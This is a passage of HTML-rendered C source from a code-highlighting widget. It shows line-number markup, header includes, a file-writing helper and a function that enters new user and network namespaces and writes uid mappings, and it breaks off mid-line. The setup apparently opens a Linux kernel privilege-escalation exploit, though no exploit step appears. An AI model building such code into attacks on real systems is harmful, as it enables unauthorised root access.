class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-59\">59<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-60\">60<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-61\">61<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-62\">62<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-63\">63<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-64\">64<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-65\">65<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-66\">66<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-67\">67<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-68\">68<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-69\">69<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-70\">70<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-71\">71<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-72\">72<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-73\">73<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-74\">74<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-75\">75<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-76\">76<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-77\">77<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-78\">78<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-79\">79<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-80\">80<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-81\">81<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-82\">82<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-83\">83<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-84\">84<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-85\">85<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-86\">86<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-87\">87<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-88\">88<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-89\">89<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-90\">90<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-91\">91<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-92\">92<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-93\">93<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-94\">94<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-95\">95<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-96\">96<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-97\">97<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-98\">98<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-99\">99<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-100\">100<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-101\">101<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-102\">102<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-103\">103<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-104\">104<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-105\">105<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-106\">106<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-107\">107<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-108\">108<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-109\">109<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-110\">110<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-111\">111<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-112\">112<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-113\">113<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-114\">114<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-115\">115<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-116\">116<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-117\">117<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-118\">118<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-119\">119<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-120\">120<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-121\">121<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-122\">122<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-123\">123<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-124\">124<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-125\">125<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-126\">126<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-127\">127<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-128\">128<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-129\">129<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-130\">130<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-131\">131<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-132\">132<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-133\">133<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-134\">134<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-135\">135<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-136\">136<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-137\">137<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-138\">138<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-139\">139<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-140\">140<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-141\">141<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-142\">142<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b74a6df54405392505543-143\">143<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b74a6df54405392505543-144\">144<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-1\"><span class=\"crayon-p\">#define _GNU_SOURCE <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-2\"><span class=\"crayon-p\">#include &lt;stdio.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-3\"><span class=\"crayon-p\">#include &lt;stdlib.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-4\"><span class=\"crayon-p\">#include &lt;sys\/syscall.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-5\"><span class=\"crayon-p\">#include &lt;unistd.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-6\"><span class=\"crayon-p\">#include &lt;errno.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-7\"><span class=\"crayon-p\">#include &lt;signal.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-8\"><span class=\"crayon-p\">#include &lt;stdarg.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-9\"><span class=\"crayon-p\">#include &lt;stdint.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-10\"><span class=\"crayon-p\">#include &lt;sys\/prctl.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-11\"><span class=\"crayon-p\">#include &lt;sys\/resource.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-12\"><span class=\"crayon-p\">#include &lt;sys\/time.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-13\"><span class=\"crayon-p\">#include &lt;sys\/wait.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-14\"><span class=\"crayon-p\">#include &lt;string.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-15\"><span class=\"crayon-p\">#include &lt;sys\/types.h&gt; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-16\"><span class=\"crayon-p\">#include &lt;sys\/socket.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-17\"><span class=\"crayon-p\">#include &lt;netinet\/in.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-18\"><span class=\"crayon-p\">#include &lt;arpa\/inet.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-19\"><span class=\"crayon-p\">#include &lt;linux\/if_ether.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-20\"><span class=\"crayon-p\">#include &lt;net\/ethernet.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-21\"><span class=\"crayon-p\">#include &lt;net\/if.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-22\"><span class=\"crayon-p\">#include &lt;linux\/sockios.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-23\"><span class=\"crayon-p\">#include &lt;sys\/ioctl.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-24\"><span class=\"crayon-p\">#include &lt;sched.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-25\"><span class=\"crayon-p\">#include &lt;sys\/stat.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-26\"><span class=\"crayon-p\">#include &lt;fcntl.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-27\"><span class=\"crayon-p\">#include &lt;stdbool.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-28\"><span class=\"crayon-p\">#include &lt;linux\/if_packet.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-29\"><span class=\"crayon-p\">#include &lt;pthread.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-30\"><span class=\"crayon-p\">#include &lt;ctype.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-31\"><span class=\"crayon-p\">#include &lt;sys\/mman.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-32\"><span class=\"crayon-p\">#include &lt;sys\/ipc.h&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-33\"><span class=\"crayon-p\">#include &lt;sys\/msg.h&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-34\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-35\"><span class=\"crayon-t\">bool<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">write_file<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">const<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">file<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">const<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">what<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-36\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-37\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1024<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-38\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">va_list <\/span><span class=\"crayon-v\">args<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-39\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">va_start<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">args<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">what<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-40\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">vsnprintf<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">what<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">args<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-41\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">va_end<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">args<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-42\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-r\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-43\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">len<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">strlen<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-44\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-45\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">open<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">file<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">O_WRONLY<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">O_CLOEXEC<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-46\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-47\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-48\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">write<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">len<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">len<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-49\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">close<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-50\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-51\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-52\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">close<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-53\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-54\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-55\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-56\"><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">setup_sandbox<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-57\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">real_uid<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">getuid<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-58\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">real_gid<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">getgid<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-59\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-60\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">unshare<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">CLONE_NEWUSER<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-61\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">perror<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;unshare(CLONE_NEWUSER)&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-62\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">exit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">EXIT_FAILURE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-63\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-64\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-65\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">unshare<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">CLONE_NEWNET<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-66\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">perror<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;unshare(CLONE_NEWUSER)&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-67\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">exit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">EXIT_FAILURE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-68\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-69\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-70\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">write_file<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;\/proc\/self\/setgroups&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;deny&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-71\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">perror<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;write_file(\/proc\/self\/set_groups)&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-72\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">exit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">EXIT_FAILURE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df54405392505543-73\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df54405392505543-74\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">write_file<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;\/proc\/self\/uid_map&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;0 %d 